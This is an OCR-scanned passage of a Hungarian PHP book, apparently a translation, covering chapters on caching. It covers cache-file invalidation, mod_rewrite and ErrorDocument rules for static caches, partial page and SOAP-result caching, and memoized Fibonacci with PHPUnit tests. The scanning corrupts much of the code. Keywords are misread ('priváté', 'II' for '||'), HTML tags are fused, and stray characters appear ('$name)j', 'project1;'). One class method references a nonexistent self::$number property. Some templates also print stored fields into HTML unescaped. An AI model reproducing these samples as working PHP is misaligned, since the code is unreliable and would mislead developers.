Mindezidáig nem foglalkoztunk az elavulás kérdésével, így a tárolt másolat soha nem frissül - ami nem valami jó hír. Alkalmazhatunk lejárati időt az oldalon, melynek letelte után a program automatikusan frissíti a tartalmat. Ez azonban nem a legjobb megoldás, mivel nem pontosan felel meg az igényeinknek. A tárolt adatok ugyanis akármeddig érvényesek maradhatnak, míg valaki meg nem változtatja azokat. Valójában tehát azt szeretnénk, hogy a tartalom mindaddig érvényes maradjon, míg az alábbi két dolog valamelyike be nem következik: • Az oldal sablonját módosítani kell. • Egy szerző frissíti a projekt adatait. Az első esetet magunk is elintézhetjük. Ha módosítanunk kell a sablonokat, egyszerűen írjuk át a kódot a project .php fájlban, és töröljük a gyorstárfájlokat. Ha ezután új kérelem érkezik, a rendszer a helyes sablonnal tárolja az oldalt. A második esetet úgy kezelhetjük, ha a szerkesztési oldalon gyorstárfrissítést valósítunk meg. A szerzők csak itt módosíthatják az oldalakat - ha készen van a módosítás, csak el kell távolítanunk a gyorstárfájlt. Ezek után a projekthez érkező következő kérelem nyomán a gyorstár újra létrejön. A szerkesztési oldalon nem kell sokat változtatnunk - mindössze három sort kell a kód elejére írnunk:
<?php require_once 'Cache/File.inc'; require_once 'Project.inc';

294

PHP fejlesztés felsőfokon

$name = $_REQUEST [ ' name ' ] ; $project = new Project($name); if(array_key_exists("posted", $_POST)) { $project->author = $_POST['author']; $project->short_description = $_POST['short_description']; $project->file_url = $_POST['file_url']; $project->long_description = $_POST['long_description'] ; $project->store() ; // eltávolítjuk a gyorstárfájlt $cache = new Cache_File(Project::get_cachefile($name)); $cache->remove(); } ?> A gyorstárfájl eltávolítása utáni első kérelem nem éri el a project .php adatainak tárolt változatát, így új tárolást kezdeményez. Ez persze egy tüskét eredményez az erőforrások felhasználásában. Amint a korábbiakban már említettük, ennek oka az, hogy az egyidejű kérelmek külön dinamikus másolatokat készítenek az oldalról, míg valamelyikük be nem fejezi, és tárolja az eredményt. Ha projektünk oldalait gyakran látogatják, érdemes lehet előre tárolnunk a tartalmukat a fentiek megelőzésének érdekében. Ezt egyszerűen megtehetjük, ha az adott oldalt a lecsatolás helyett megkíséreljük elérni, így elejét vehetjük a versengésnek. A módszer egyetlen hátulütője, hogy túl sok gyorstárfájl esetén nem valami hatékony. 100 000 gyorstárfájl előzetes elérése percekig vagy akár órákig is eltarthat, míg a gyorstár eltávolítása ennél sokkal gyorsabban elvégezhető. Az előzetes tárolás módszere olyan oldalaknál alkalmazható sikerrel, melyeknél a gyorstár tartalmát gyakran érik el a felhasználók. Nem érdemes azonban alkalmaznunk olyankor, ha ez az elérés ritkább, ha a gyorstárfájlok számára biztosított hely korlátozott, vagy ha sok gyorstárfájlt kell egyszerre érvényteleníteni. Az összes oldal újratárolása költséges feladatnak bizonyulhat, ezért hát folyamodhatunk a pesszimista megközelítéshez is, és egyszerűen el is távolíthatjuk a gyorstárfájlokat a frissítés érdekében. A következő alkalommal, amikor az oldalt lekérik, a gyorstár nem képes megfelelni az igényeknek, így a rendszer feltölti a friss adatokkal. Olyan alkalmazások esetén, melyek több ezer vagy százezer gyorstárfájlt használnak, ez a pesszimista megközelítés hosszabb időtartamra húzhatja szét a frissítést, és „gyors" érvénytelenítést tesz lehetővé a gyorstárban. E megközelítéssel két apró gondunk lehet - az egyik inkább felszíni, míg a másik technikai: • A http://example.com/project.php?project=myproject URL kevésbé bizalomgerjesztő, mint a http: //example.com/project/myproject .html. Mindazonáltal, ha jobban belegondolunk, ez nem is teljesen felszíni probléma.

10. fejezet • Adatösszetevők átmeneti tárolása

295

• A tárolt oldal megjelenítéséhez futtatnunk kell a PHP értelmezőt. Sőt, nem csak értelmeznünk és végrehajtanunk kell a project .php fájlt, de még a gyorstárfájl megnyitása és olvasása is ránk vár. Ha az oldalt tároltuk, az teljességgel statikus, így a fenti teher már nem nyomja vállunkat. A gyorstárfájlt egyszerűen az alábbi alakban írhatjuk ki:
/www/htdocs/projects/myproject.html

Ily módon az oldal tartalma közvetlenül a Webről is elérhető, mindennek eredményeképpen azonban a frissítés egyes részletei a felhasználók szeme elé kerülhetnek. Ha eltávolítjuk a gyorstárfájlt, minden rá irányuló kérelem a 404 Object Not Found hibával tér vissza. Ez persze nem okoz gondot, ha az oldalt csak a felhasználói szerkesztőoldalról módosítják (hiszen a rendszer az írás folyamán frissíti a gyorstárat), de nagy bajba kerülhetünk, ha az összes oldalt egyszerre kívánjuk frissíteni. Az Apache modrewrite modulja - tárolás okosan Ha a PHP-t Apache rendszerrel használjuk, a mod_rewrite segítségével teljesen statikus HTML gyorstárfájlok használata mellett megtarthatjuk a frissítés rejtettségét. Ha Apache kiszolgálót használunk, és még nem ismerjük a mod_rewrite-ot, tegyük le a könyvet, és olvassunk egy kicsit utána. A megfelelő hivatkozásokat megtalálhatjuk a fejezet végén. Meglátjuk majd, nem hiába fáradtunk - a mod_rewrite valóban nagyszerű segítőtárs. A mod_rewrite egy URL-újraíró motor, amely az Apache kiszolgálóhoz kapcsolódik, lehetővé téve az URL-ek szabály alapú újraírását. Számtalan lehetősége közül az alábbiakat emelnénk ki: • Belső átirányítások, amelyek a visszaadott URL-eket teljes mértékben az Apacheban, a felhasználó elől rejtve írják át. • Külső átirányítások. • Helyetteskérelmek (együttműködve a mod_proxy modullal). Nem lenne nehéz egy egész könyvet írni a mod_rewrite használatának lehetőségeiről, sajnálatos módon azonban szűkös időnk csak azt teszi lehetővé, hogy az itt felmerült feladat megoldásának kapcsán mutassuk be képességeit. Azt szeretnénk tehát, hogy a pro j ect. php gyorstár-fájljait HTML fájlokként a dokumentumkönyvtáron belül a /www/htdocs/projects/ProjectFoo.html címre írhassuk, így a látogatók a ProjectFoo honlapot egyszerűen elérhetik a következő címen: http://www.example.com/projects/ProjectFoo.html.

296

PHP fejlesztés felsőfokon

A gyorstárfájlt e helyre írni nagyon egyszerű - csak módosítanunk kell a Project: :get_cachef ile () tagfüggvényt: function get_cachefile($name) { $cachedir = "/www/htdocs/projects" ; return "$cachedir/$name.html";
}

A gond csak az, hogy nem tudjuk, mit tegyünk, ha hiányzik ez a fájl. Szerencsére a mod_rewrite megadja a választ. Készíthetünk ugyanis egy szabályt, ami azt mondja: „ha a gyorstárfájl nem létezik, irányíts át egy olyan oldalra, ami feltölti a gyorstárat, és add vissza a kapott tartalmat." Nos, ez egyszerűen hangzik — mert az is! Elkészítjük tehát a mod_rewrite szabályt: <Directory /projects> RewriteEngine On RewriteCond /www/htdocs/%{REQUEST_FILENAME} í - f RewriteRule Vprojects/(.*).html /generate_project.php?name=$l </Directory> Mivel minden gyorstárfájlt a projects könyvtárba írtunk, bekapcsolhatjuk az újraíró motort a RewriteEngine On utasítással. Ezután a RewriteCond szabállyal beállíthatjuk az újraírás feltételét:
/www/htdocs/%{REQUEST_FILENAME} !-f

Vagyis, ha a /www/htdocs/$ [REQUEST_FILENAME] nem fájl, a szabály teljesül. így, ha a /www/htdocs/projects/ProjectFoo.html nem létezik, továbbhaladunk az újraíráshoz: RewriteRule "Vprojects/(.*)-html /generate_project.php?name=$l Ez összeveti a kérelem URI-jét (/projects/ProjectFoo.html) az alábbi szabályos kifejezéssel:
^/projects/(.*).html

Ez a zárójelben levő kifejezéssel egyező elemeket a $1 változóban tárolja (esetünkben ez a ProjectFoo). Ha van egyezés, egy belső átirányítás keletkezik (ami teljesen rejtve marad a végfelhasználó elől), átírva a szolgáltatott URI-t a /generate_project .php?name=$l alakba (ez esetünkben a /generate_project .php?name=ProjectFoo).

10. fejezet • Adatösszetevők átmeneti tárolása

297

Már csak a generate_proj ect .php maradt hátra. Szerencsére ez csaknem megegyezik az eredeti pro j ect. php oldallal, de feltétel nélkül tárolnia kell az oldal kimenetét. Lássuk a kódját:
<?php require 'Cache/File.inc'; require 'Project.inc'; try { $name = $_GET[name]; if(!$name) { throw new Exception; } $project = new Project($name); } catch (Exception $e) { // hiba esetén ide kerülünk header("Location: /index.php"); return; } $cache = new Cache_File(Project::get_cachefile($name) ) ; $cache->begin(); ?> <html> <title><?= $project->name ?></title> <body> <!-- boilerplate text --> <table> <tr> <td>Author:</tdxtd><?= $project->author ?> </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ?> </tr> <tr> <td>Availability:</td> <tdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr> <tdx?= $project->long_description ?x/td> </tr> </table> </body> </html> <?php $cache->end(); ?>

298

PHP fejlesztés felsőfokon

A mod_rewrite helyett használhatjuk az Apache ErrorDocument utasítását is, mellyel az egyéni hibaoldalak megjelenítését támogatja. Ennek beállításához újraírási szabályainkat a httpd. conf állományban az alábbi utasítással helyettesíthetjük: ErrorDocument 4 04 /generate_project.php Ezzel tudatjuk az Apache kiszolgálóval, hogy 404-es hiba esetén (például ha a kért dokumentum nem létezik) irányítsa át belsőleg a felhasználót a /generate_project .php címre. Ez lehetővé teszi a webmester számára, hogy saját hibaoldalra vigye a felhasználót, ha nincs meg a kért dokumentum. Létezik azonban egy másik alkalmazása is - helyettesíthetjük vele az újraírási szabályokat. Miután elhelyeztük az ErrorDocument utasítást a httpd. conf állományban, a generate_project .php felső blokkját meg kell változtatnunk úgy, hogy a $_SERVER [ ' REQUESTMJRI' ] -t használja ahelyett, hogy a $name változót adná át a $_GET [ ] paramétereként. A generate_pro j ect. php végül így fest majd:
<?php require 'Cache/File.inc'; require 'Project.inc'; try { $name = $_SERVER['REQUEST_URI'] ; if(!$name) { throw new Exception; } $project = new Project($name) ; } catch (Exception $e) { // hiba esetén ide kerülünk header("Location: /index.php"); return; }

$cache = new Cache_File(Project::get_cachefile($name)); $cache->begin();
?>

Egyébiránt a program viselkedése megegyezik azzal, amit a mod_rewrite szabályának alkalmazásánál tapasztaltunk. Az ErrorDocument utasítás nagyszerű lehetőséget ad statikus tartalmak menet közbeni előállítására, ami különösen akkor jöhet jól, ha nem tudjuk elérni a kiszolgálónkat, és így nem biztosított a mod_rewrite motor használhatósága. Mindazonáltal jómagam szeretem feltételezni, hogy a saját kiszolgálóm felett rendelkezhetek, így a mod_rewrite használatát részesítem előnyben. Ez ugyanis igen sokoldalú eszköz, mellyel szükség esetén jóval összetettebb kódot is megvalósíthatunk a gyorstár frissítésére.

10. fejezet • Adatösszetevők átmeneti tárolása

299

Ráadásul, mivel az ErrorDocument kezelőt hívtuk, a kapott oldal a 404-es hibakóddal tér vissza, az „érvényes" lapoknál megszokott 200-as kód helyett. A legtöbb böngészőnek nem okoz gondot ez a kettősség, de vannak olyan eszközök, amelyek nem szeretik, ha egy érvényes lappal a 404-es hibakód érkezik. Szerencsére ezen is segíthetünk, ha egy header () paranccsal magunk állítjuk be a visszatérési kódot:
header("$_SERVER['SERVER_PROTOCOL'] 2 00");

Oldalak részeinek tárolása
Gyakran előfordul, hogy nem tudjuk tárolni a teljes oldalt, de szeretnénk, ha egyes részeit mégis csak elraktározhatnánk. Jó példa erre a személyre szabott böngészősávok esete, melyet a Süti alapú gyorstárak címszó alatt tárgyaltunk. Ott a felhasználó navigációs beállításait egy sütiben tároltuk, és az alábbiak szerint használtuk fel: <?php $userid = $_COOKIE['MEMBERID'] ; $user = new User($userid); if ( !$user->name) { header("Location: /login.php") ;
}

$navigation = $user->get_interests() ;
?>

<table> <tr> <td> <table> <trxtd> <?= $user->name % > ' s Home </tdx/tr> <?php for($i=l; $i<=3; $i++) { ?> <trxtd> <!-- hely a böngészősávon: <?= $i ?> --> <?= generate_navigation_element($navigation[$i] ) ?> </tdx/tr> <?php } ?> </table> </td> <td> <!-- az oldal törzse (minden felhasználónál azonos tartalom) --> </td> </tr> </table> Itt a generate_navigation_component () eredményét próbáltuk tárolni. Kis oldalrészek esetén a feladat nem is nehéz. Mindenekelőtt persze meg kell írnunk ezt a függ-

300

PHP fejlesztés felsőfokon

vényt. Ehhez idézzük fel, hogy a $navigation változó témakör-alfejezet párokból állt, mint sports-football (sport-futball), weather-21046 (időjárás-21046), projectFoobar, vagy news-global (hírek-külföld). A generate_navigation megvalósítható egy elosztóként (továbbítóként) is, amely az átadott témakörtől függően más és más tartalom-előállító függvényt hív meg:
<?php function generate_navigation($tag) { list ($topic, $subtopic) = explode('-', $tag, 2); if(function_exists("generate_navigation_$topic") ) { return call_user_func("generate_navigation_$topic", $subtopic); } else {

return 'unknown';
} } ?>

A projekt összefoglalójához tartozó tartalom-előállító függvény így fest:
<?php require_once 'Project.inc'; function generate_navigation_project($name) { try { if(!$name) { throw new Exception(); } $project = new Project($name); } catch (Exception $e){ return 'unknown project'; } ?> <table> <tr> <td>Author: </tdxtdx? = $project->author ?> </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ?> </tr> <tr> <td>Availability:</td>

<tdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr>

10. fejezet • Adatösszetevők átmeneti tárolása

301

<td><?= $project->long_description ?></td> </tr> </table> <?php } ?>

Nos, ez pont úgy néz ki, mint az első próbálkozásunk a projekt teljes oldalának tárolására - és valóban, ugyanazt a tárolási módszert használhatjuk itt is. Az egyetlen eltérés, hogy itt meg kell változtatnunk a get_cachef ile függvényt, hogy elkerüljük az ütközéseket a teljes oldal gyorstárfájljaival:
<?php require_once 'Project.inc'; function generate_navigation_project($name) { try { if(!$name) { throw new Exception; } $cache = new Cache_File(Project::get_cachefile_nav($name)); if($text = $cache->get()) { print $text; return; } $project = new Project($name)j $cache->begin(); } catch (Exception $e){ return 'unkonwn project1; } ?> <table> <tr> <td>Author :</tdxtdx? = $project->author ? > </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ?> </tr> <tr> <td>Availability:</tdxtdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr> <tdx?= $project->long_description ?x/td> </tr> </table> <?php $cache->end(); }

302

PHP fejlesztés felsőfokon

A Proj ect. inc fájlban pedig a következőket kell elhelyeznünk: public function get_cachefile_nav($name) { global $CACHEBASE; return "$CACHEBASE/projects/nav/$name.cache";
} ?>

Hát, ilyen egyszerű az egész!

Lekérdezések és gyorstárak
Érdekes feladat a böngészősáv időjárási adatokat megjelenítő részének elkészítése. Ehhez használhatjuk az xmethods .net SOAP felületét, ami a ZIP kód (irányítószám az USA-ban) alapján naprakész időjárási adatokat szolgáltat. Ne essünk kétségbe, ha még nem találkoztunk SOAP kérelmekkel a PHP-ben - a 16. fejezetben bővebben szólunk róluk. A generate_navigation_weather () készít egy Weather objektumot az adott ZIP kódhoz, majd némi SOAP trükközéssel visszaadja az adott helyen mért hőmérséklet értékét:
<?php include_once 'SOAP/Client.php'; class Weather { public $temp; public $zipcode; priváté $wsdl; priváté $soapclient; public function __ construct($zipcode) { $this->zipcode = $zipcode; $this->_get_temp($zipcode) ; } priváté function _get_temp($zipcode) { if ( !$this->soapclient) { $query = "http://www.xmethods.net/sd/2 001/TemperatureService.wsdl"; $wsdl = new SOAP_WSDL($query); $this->soapclient = $wsdl->getProxy(); } $this->temp = $this->soapclient->getTemp($zipcode); } } function generate_navigation_weather($zip) { $weather = new Weather($zip); ?>

10. fejezet • Adatösszetevők átmeneti tárolása

303

The current temp in <?= $weather->zipcode ?> is <?= $weather->temp ?> degrees Farenheit\n"; <?php }

Az RPC-k általában lassúak, így érdemes gyorstárba helyeznünk az eredményt. Egyszerűen alkalmazhatjuk a Project objektumnál megismert módszert, és a generate_navigation_weather () eredményét elhelyezhetjük egy szerkezet nélküli fájlban. Mindez nagyszerűen működik, de sok apró fájlocskát eredményez - ZIP kódonként egyet. Használhatunk DBM fájlt is, melyben a ZIP kódoknak egy-egy rekord felel meg. Ehhez mindössze néhány sort kell elhelyeznünk a _get_temp függvényben, amely így használatba veszi a korábban elkészített Cache_DBM osztályt: priváté function _get_temp($zipcode) { $dbm = new Cache_DBM(Weather::get_cachefile(), 3 6 0 0 ) ; if($temp = $dbm->get($zipcode)) { $this->temp = $temp; return; } else { if(!$this->soapclient) { $url = " http://www.xmethods.net/sd/2001/TemperatureService.wsdl"; $wsdl = new S0AP_WSDL($url) ; $this->soapclient = $wsdl->getProxy();
}

$this->temp = $this->soapclient->getTemp($zipcode); $dbm->put($zipcode, $this->temp);
} }

function get_cachefile() { global $CACHEBASE; return "$CACHEBASE/Weather.dbm";
}

A Weather objektum készítésekor tehát először meg kell néznünk a DBM fájl tartalmát, és el kell döntenünk, hogy az ott tárolt hőmérsékletérték érvényes-e. A burkoló osztályban a 3600 másodperces (1 órás) lejárati értéket adtuk meg, így biztosítottuk az adatok frissességét. Ezután pedig következhet a szokásos eljárás: „ha az adat megtalálható a tárban, adjuk vissza, ha nem, előállítjuk, és ezután adjuk vissza."

304

PHP fejlesztés felsőfokon

További olvasmányok
Számos relációs adatbáziskezelő rendszerben találhatunk gyorstárakat a lekérdezésekhez - akár közvetlenül megvalósítva, akár külső alkalmazásokba építve. A MySQL 4.0.1. változatában is találkozhatunk ilyennel (bővebben lásd a www.mysql. com címen). A mod_rewrite részletes leírását az Apache webhelyén tekinthetjük meg, a következő címen: http: //httpd. apache.org. A webszolgáltatások, a SOAP, valamint a WDSL részletes tárgyalását a 16. fejezetben találhatjuk meg - e fejezet végén további forrásmunkákat is felsorolunk.

Számítási újrahasznosítás
A számítási újrahasznosítás módszere azon alapul, hogy a részeredményeket (vagyis olyan adatokat, melyek nem a függvény végső kimenetét adják) megjegyzünk, és felhasználunk más számítások hatékonyabbá tételére. Ez a módszer jelentős hagyományokkal rendelkezik, különösen a számítástudomány és a számítógépes grafika területén. Ne ijedjünk meg azonban ezektől a komoly tudományterületektől - valójában a számítási újrahasznosítás is egyfajta gyorstárhasználatot jelent. Az előző két fejezetben számos tárolási módszert ismerhettünk meg, melyek legbelső lényegükben megegyeznek: olyan adatokat tárolnak, melyek kiszámítása jelentős költségekkel jár. A következő alkalommal, amikor e számításokra szükség van, megnézzük, létezik-e az eredmény tárolt változatban. Ha igen, azt adjuk vissza. A számítási újrahasznosítás is ezen az alapon működik, de ez esetben nagyon kicsiny adatokkal dolgozunk. Itt nem az alkalmazások teljes részeit tároljuk, hanem olyan objektumokat, adatokat, melyek egy függvény végrehajtása során jönnek létre. Sokszor ezek az apró összetevők is újrahasznosíthatok. Az összetett műveletek egyszerűbbek végrehajtásának eredményeként állnak elő. Ha egy ilyen egyszerű művelet jelentős részt követel a futásidőből, optimalizálásával számottevő teljesítménynövekedést érhetünk el.

Példa: a Fibonacci-sorozat
Egyszerű példánkban bemutatjuk, milyen erős kapcsolat áll fenn a számítási újrahasznosítás és az önhívó függvények (rekurzív függvények) között. Állatorvosi lovunk a Fibonaccisorozat lesz, melynek elemei az alábbi feladat megoldásaként állnak elő: Egy pár nyulat beleteszünk egy ketrecbe. Nyulaink minden hónapban egy pár nyulat ellenek, melyek két hónap múltán válnak ivaréretté. Kérdés, hány nyúlpárunk lesz n hónap múlva? (Feltesszük, hogy a nyulak nem pusztulnak el, nem válnak meddővé, és nem hagyják el a ketrecet.)

306

PHP fejlesztés felsőfokon

Leonardo Fibonacci Fibonacci matematikus volt a 13. századi Itáliában. Számos jelentős matematikai felfedezést tett, és sokan az ő tevékenységéhez kötik a középkori matematika újjászületését.

A feladat megoldása Fibonacci-sorozat néven ismert. A nyúlpárok száma az n. hónapban megegyezik az előző hónapban jelen levő nyulak számának (a nyulak ugyanis nem pusztulnak el) és a két hónappal azelőtti nyúlpárok számának összegével (hiszen pontosan ennyi nyúlpár ivarérett az n. hónapban, és minden nyúlpártól egyetlen pár nyúl származik). Matematikailag a Fibonacci-sorozatot a következő azonosságok írják le: Fib(O) = 1 Fib(l) = 1 Fib(n) = Fib(n-l)

+

Fib(n-2)

Ha ezt mondjuk n = 5-re nézzük, a következőt kapjuk: Fib(5) = Fib(4) + Fib(3)

Tudjuk továbbá ezt is: Fib(4) És ezt: Fib(3) = Fib(2) + Fib(l) = Fib(3) + Fib(2)

A korábbiakat kifejthetjük tehát az alábbi szerint: Fib(5) = Fib(3) + Fib(2) + Fib(2) + Fib(l)

Hasonlóképpen ismeretes a következő egyenlőség: Fib(2) = Fib(l) + Fib(l) Végül a Fib (5) így áll elő: Fib(5) = Fib(2) + Fib(l) + Fib(l) + Fib(O) + Fib(l) + Fib(O) + Fib(l) = F i b ( l ) + F i b ( O ) + F i b ( l ) + F i b ( l ) + F i b ( O ) + F i b ( l ) + F i b ( O ) + Fib(l) = 8

11. fejezet * Számítási újrahasznosítás

307

Számítsuk ki a Fib (5) értékét egy egyszerű önhívó függvénnyel: function Fib($n) { if($n == 0 II $n == 1) { return 1;
}

else { return Fib($n - 2)
} }

+ Fib($n - 1);

Láthatjuk, hogy a Fib (4) -et egyszer, a Fib (3 ) -at kétszer, a Fib (2 ) -t pedig háromszor kell kiszámítanunk. Sőt, általánosságban - olyan matematikai módszerekkel, melyek tárgyalása meghaladná könyvünk kereteit — az is kimutatható, hogy a Fibonacci számok kiszámíthatósága exponenciális bonyolultságú (0(1,6")). Ez azt jelenti, hogy a Fib (n) kiszámítása legalább 1,6" lépésbe telik. A 11.1. ábra arra világít rá, miért is jelent ez nagy gondot.

11.1. ábra

Bonyolultságok összehasonlítása.

A bonyolultságszámításról

Amikor a számítástudomány művelői az algoritmusok sebességéről beszélnek, általában valamilyen „rendről" beszélnek, vagyis O(n), OCn2), vagy éppen 0(2") sebességről. De mit is jelentenek pontosan ezek az értékek?

308

PHP fejlesztés felsőfokon

Az algoritmusok összehasonlításánál gyakran arra vagyunk kíváncsiak, miként változik a teljesítményük, amint a kiindulási adathalmaz mérete nő. Az OO becslések erre a növekedésre vonatkoznak, pontosabban egy felső korlátot adnak a megvalósításhoz szükséges lépések számára n elemű kiindulási adathalmaz esetén. Egy tömb legnagyobb elemének felkutatására például a következő algoritmust használhatjuk: kezdjük a tömb elejénél és tegyük fel, hogy az első elem a legnagyobb; hasonlítsuk össze ezt a következő elemmel - ha nagyobb, legyen ez a maximum. A módszer alkalmazásához tehát sorra kell vennünk a tömb minden elemét, vagyis n lépésre van szükségünk (ahol n a tömb elemeinek száma). Ezt hívjuk 0(w)-nek, vagyis lineáris időnek. Ez azt jelenti, hogy az algoritmus végrehajtásának ideje egyenesen arányos a kiindulási adathalmaz méretével. Másik példaként említhetnénk egy elem megtalálását egy társításos (asszociatív) tömbben. Ehhez meg kell keresnünk a kulcs hasítóértékét (hash value), majd megtalálni az elemet ez alapján. Ez egy O(l), vagyis állandó idejű művelet. Ez azt jelenti, hogy a tömb növekedésével egy elem elérésének ideje nem változik. Vannak persze a lineárisnál magasabb rendű algoritmusok is. Itt a kiindulási adathalmaz növekedésénél gyorsabb ütemben nő a szükséges lépések száma. A rendező algoritmusok ide tartoznak. Közülük az egyik legegyszerűbb a buborékrendezés, ami a következőképpen működik: az első elemtől kezdve hasonlítsuk össze a tömb elemeit a szomszédjukkal; ha sorrendjük nem megfelelő, cseréljük meg őket. Folytassuk ezt mindaddig, míg a tömb rendezése megfelelővé válik. Az algoritmus működésének alapja, hogy az egyes elemek „buborékként" szállnak felfelé szomszédjaikhoz képest, és ez megismétlődik minden elemmel. Az alábbiakban leírjuk a buborékrendezés algoritmusának egy PHP megvalósítását: function bubblesort(&$array) { $n = count($array); f o r ( $ I = $n; $1 >= 0; $1--) { // a tömb minden indexe esetén f o r ( $ j = 0 ; $j < $1; $ j + + ) { // haladjunk végig innen kiindulva a tömb végéig if ($array[$j] > $array[$j+1]) { // ha az elemek sorrendje nem megfelelő, cseréljük meg a j. és // a j+1. elemet list($array[$j ], $array[$j+1]) = array($array[$j +1], $array[$j]);
} } } }

11. fejezet • Számítási újrahasznosítás

309

A lehető legrosszabb esetben (vagyis, ha a tömb elemei éppen fordított sorrendben állnak), minden lehetséges cserét el kell végeznünk - ez (r?+ri)/2 cserét jelent. Nagy számok esetén az ri a lényeges, vagyis egy 0(n2) rendű algoritmusról van szó. A 11.1, ábrán néhány bonyolultság összehasonlító grafikonját láthatjuk.

Bármi, amivel csökkenthetjük a szükséges műveletek számát, hosszú távon jelentős eredményeket hozhat. Esetünkben a megoldás itt van az orrunk előtt, hiszen épp most láttuk, hogy miként számíthatjuk ki a Fib (5) értékét a sorozat korábbi elemeinek többszöri kiszámításával. Nem kell mást tennünk, mint elraktározni ezeket az értékeket egy társításos tömbben, és újbóli kiszámításuk helyett hivatkozni rájuk. Tudjuk, hogy a társításos tömbből O(l) idő alatt kiolvashatók az egyes elemek, így ezzel a módszerrel algoritmusunk lineárissá (O(n)) tehető. Mondanunk sem kell, hogy ez jelentős előrelépés.

Megjegyzés

Bizonyára eszünkbe jutott, hogy a Fibonacci-sorozat elemeinek kiszámítását úgy is lineáris idejűvé tehetjük, ha a fa alakú önhívó függvényt (hiszen a Fib ( n ) kiszámításához két önhívás szükségeltetik) vonal alakúvá írjuk át (így csak egy önhívásra van szükség, következésképpen az idő lineáris lesz). Mindazonáltal, a tapasztalatok azt mutatják, hogy ha egy statikus tárolót alkalmazunk, jobb teljesítményt érhetünk el, mint egy tárolás nélküli, vonal alakú algoritmussal, ráadásul az előbbi módszer könnyebben alkalmazható más webes újrahasznosítási feladatokban.

Mielőtt azonban eljátszadoznánk a függvényekkel, készítenünk kell néhány ellenőrző eljárást, melyek megvizsgálják, hogy valóban az eredeti sorozat értékeit kaptuk-e meg:
<?

require_once 'PHPUnit/Framework/TestCase.php'; require_once 'PHPUnit/Framework/TestSuite.php'; require_once 'PHPUnit/TextUI/TestRunner.php'; require_once "Fibonacci.inc"; class FibonacciTest extends PHPUnit_Framework_TestCase { priváté $known_values = array( 0 => 1, 1 => 1, 2 => 2, 3 => 3, 4 => 5,

310

PHP fejlesztés felsőfokon

5 6 7 8 9

=> => => => =>

8, 13, 21, 34, 55);

public function testKnownValues() { foreach ($this->known_values as $n => $value) { $this->assertEquals($value, Fib($n), " F i b ( $ n ) == " . F i b ( $ n ) . "
} }

!= $ v a l u e " ) ;

public function testBadlnput() { $this->assertEquals(0, Fib('hello'),
}

'bad i n p u t 1 ) ;

public function testNegativelnput() { $this->assertEquals( 0 , F i b ( - l ) );
} }

$suite = new PHPUnit_Framework_TestSuite(new Reflection_Class('FibonacciTest')) ; PHPUnit_TextUI_TestRunner::run($suite) ;
?>

Most pedig következzék a gyorstár! Az alapgondolat mindössze annyi, hogy a sorozat korábban kiszámított értékeit egy statikus tömbben tároljuk. Mivel e tömböt minden új érték kiszámításakor bővítjük, gyűjtőtömbnek (accumulator array) hívjuk. íme, a Fib () függvény egy statikus gyűjtővel: function Fib($n) { static $fibonacciValues = array( 0 => 1, 1 => 1); if(!is_int($n) II $n < 0) { return 0; } If( !$fibonacciValues[$n]) { $fibonacciValues[$n] = Fib($n - 2) + Fib($n - 1); } return $fibonacciValues[$n];
}

Gyűjtőként alkalmazhatunk statikus osztályváltozókat is. Ez esetben a Fib () függvény helyét a Fibonacci : :number () veszi át, amely a $values osztályváltozót alkalmazza: class Fibonacci { static $values = array( 0 => 1, 1 => 1 ); public static function number($n) { if(!is_int( $ n ) II $n < 0) {

11. fejezet • Számítási újrahasznosítás

311

return 0;
}

if ( !self: :$values[$n]) { self::$values[$n] = self::$number[$n -2]
}

+ self::$number[$n - 1];

return self::$values[$n];
} }

Ebben a példában a statikus osztályváltozó bevonása semmiben sem vitt előbbre. Az ilyen gyűjtők használata akkor igazán kifizetődő, ha egyet több függvény is használhat. A 11.2. ábrán a Fib (5) számításának új fáját láthatjuk. Ha úgy tekintünk erre a fára, mint egy kissé eltorzított háromszögre, láthatjuk, hogy az elvégzendő számítások a bal oldalon láthatók, míg a tárolt adatok a jobb oldalhoz közel helyezkednek el. Láthatjuk tehát, hogy itt (n+V)+n, vagyis 2n+l számítást kell elvégeznünk, vagyis a számítási igény O(w). Vessük össze ezt a 11.3. ábrával, ahol az eredeti önhívó megvalósítást láthatjuk, melyben minden csomópontot ki kell számítanunk.

11.2. ábra Megfigyelhetjük, hány müvelet szükséges a Fib(5) kiszámításához, ha a már megkapott értékeket tároljuk.

312

PHP fejlesztés felsőfokon

11.3. ábra Az eredeti gyorstár nélküli megvalósításban szükséges számítások. A teljesítmény pontosabb méréséről a 19. fejezetben szólunk bővebben, de e két eljárást már közepes nagyságú n-ekre (akár két számjegyűeket is vehetünk) összehasonlítva is jól látható a különbség az exponenciális és a lineáris bonyolultság között. Saját gépemen a Fib (50) -et a gyorstáras módszer egy másodpercen belül visszaadja, míg az egyszerű algoritmus durva számítások szerint hét napig küszködne ugyanezzel a feladattal.

Újrahasznosítható adatok tárolása egy kérelmen belül
Lelki szemeimmel szinte látom, ahogy sok olvasó felkiált: „Nagyszerű! Ha egy Fibonacci számokról szóló webhelyét kell készítenem, jól elboldogulok majd!" Nos, szerencsére a matematikai példán bemutatott módszer szélesebb körben is alkalmazható - sőt, könnyen bővíthető gyakorlatiasabb feladatok megoldására. Vegyük a 6. fejezetben készített Text_Statistics osztályt, melynek segítségével kiszámíthattuk a Flesch olvashatósági pontszámot. A dokumentum minden szavához készítettünk egy Word objektumot, és így meg tudtuk határozni, hány szótagból áll. Ha dokumentumunk mérete elegendően nagy, bizonyára előfordulnak benne ismétlődő szavak, így tehát, ha a szavak Word objektumait, valamit szótagszámát tárolni tudjuk, jelentősen csökkenthetjük a dokumentum átvizsgálására fordított időt.

11. fejezet • Számítási újrahasznosítás

313

A szótagok számának tárolása hasonlóképpen fest, mint a Fibonacci-sorozat elemeié csak készítsünk egy $_numSyllables nevű osztálytulajdonságot, és tároljuk benne a szótagszámot, amint kiszámítottuk: class Text_Word { public $word; protected $_numSyllables = 0; // // nem módosított tagfüggvények // public function numSyllables() { // ha már megszámoltuk a szótagokat ebben a Word objektumban, // egyszerűen adjuk vissza az eredményt if($this->_numSyllables) { return $this->_numSyllables;
}

